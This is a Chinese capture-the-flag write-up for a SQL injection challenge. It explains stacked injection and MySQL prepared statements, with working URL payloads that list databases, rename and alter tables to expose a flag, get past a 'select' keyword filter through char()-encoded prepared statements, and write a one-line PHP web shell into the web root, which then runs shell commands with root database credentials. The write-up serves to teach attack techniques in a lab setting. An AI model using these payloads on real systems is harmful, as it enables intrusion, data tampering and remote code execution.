考点:
- 堆叠注入
- SQL语句预处理
1. 堆叠注入
堆叠注入(Stacked Injection),顾名思义,就是通过一次性执行多条sql语句进行注入。在SQL中,分号;
表示一条sql语句的结束,但是在结束一个sql语句后,如果后面还跟着一条sql语句,也会被一起执行了,造成了堆叠注入。
1 | mysql> create database users; |
通过堆叠查询新建一个表:
1 | mysql> select * from users where username='bantian';create table test like users; |
show tables
查看确实有新表test
生成
1 | mysql> show tables; |
删除表test
:
1 | mysql> select * from users;drop table test; |
查询数据:
1 | mysql> select * from users where username='bantian';select 1,2; |
回到题目本身,先用堆叠注入看一下数据库信息:
1 | ?inject=1';show databases;%23 |
果然可以成功回显,然后看一下当前数据库的数据表:
1 | ?inject=1';show tables;%23 |
发现有两张表,1919810931114514
和words
表,分别查看他们的字段信息:
1 | ?inject=1';show columns from `1919810931114514`;%23 |
表1919810931114514
只有一个名为flag
的字段。
1 | ?inject=1';show columns from `words`;%23 |
words
表中有两个字段,id
和data
,对应着var_dump()
格式的输出1
和hahahah
,所以可以推出,默认情况下是对words
表进行查询的,回显的也是words
表中的内容。
但是flag
又应该是放在1919810931114514
表中的,所以可以尝试将1919810931114514
表和words
表的名字互换:
1 | // 先将words表重命名为words1,空出words名称 |
最终的拼接为:
1 | ?inject=1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;%23 |
提示Unknown column 'id' in 'where clause'
,所以猜测sql语句是这样的:
1 | select * from words where id='$inject' |
还需要修改列名,将原数字表中的flag
字段改为id
字段:
1 | ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL |
最终的payload为:
1 | http://5ef52555-6434-481d-b238-bae5166bb61f.node3.buuoj.cn/?inject=1%27;rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;show columns from words;%23 |
flag
字段已经被修改为id
,所以最后只要进行查询即可,1' or '1'='1
:
其实这道题的代码大概可以摸出来,大致逻辑是这样的:
1 |
|
2. SQL预处理语句
以下关于SQL预处理的解释来自:
SQL语句的执行处理分为两种:
一、即时SQL
一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
1. 词法和语义解析;
2. 优化 SQL 语句,制定执行计划;
3. 执行并返回结果;
如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
二、预处理SQL
但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。
三、语法
1 | # 预处理语句定义 |
四、例子
4.1 利用字符串定义预处理SQL(直角三角形计算)
1 | mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; |
4.2 利用变量定义预处理SQL(直角三角形计算)
1 | mysql> SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; |
回到题目本身,当我们已经用堆叠注入获得了表名1919810931114514
的时候,接下来可以借助SQL的预处理机制。
SQL引擎会将
1 | concat(char(115,101,108,101,99,116), ' * from `1919810931114514`') |
编译为
1 | select * from `1919810931114514` |
这样就绕过了一开始的waf对select
的过滤。
最终的payload为:
1 | ?inject=1';PREPARE bantian from concat(char(115,101,108,101,99,116), ' * from `1919810931114514`');EXECUTE bantian;%23 |
3. 利用命令执行
这个方法比较tricky,是通过mysql向服务器写入文件,首先需要满足的条件就是root权限,以及GPC需要关闭(也就是能使用单引号)。
先进行查询,发现满足root权限:
1 | ?inject=1';PREPARE bantian from concat(char(115,101,108,101,99,116), ' user()');EXECUTE bantian;%23 |
1 | ?inject=1';SET @stmt=concat("se","lect '<?php @print_r(`$_GET['1']`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sql from @stmt;EXECUTE sql;%23 |
然后借助预处理语句和outfile
将一句话木马写入1.php
文件,然后我们看一下当前使用的是哪个数据库:
1 | ?inject=1';PREPARE bantian from concat(char(115,101,108,101,99,116), ' database();');EXECUTE bantian;%23 |
发现当前数据库是supersqli
:
然后注入命令进行查询:
1 | 1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;" |
这道题的解法还是很灵活的,但是这三个方法都是建立在堆叠注入的基础之上,这次又学到了一种新的注入方式。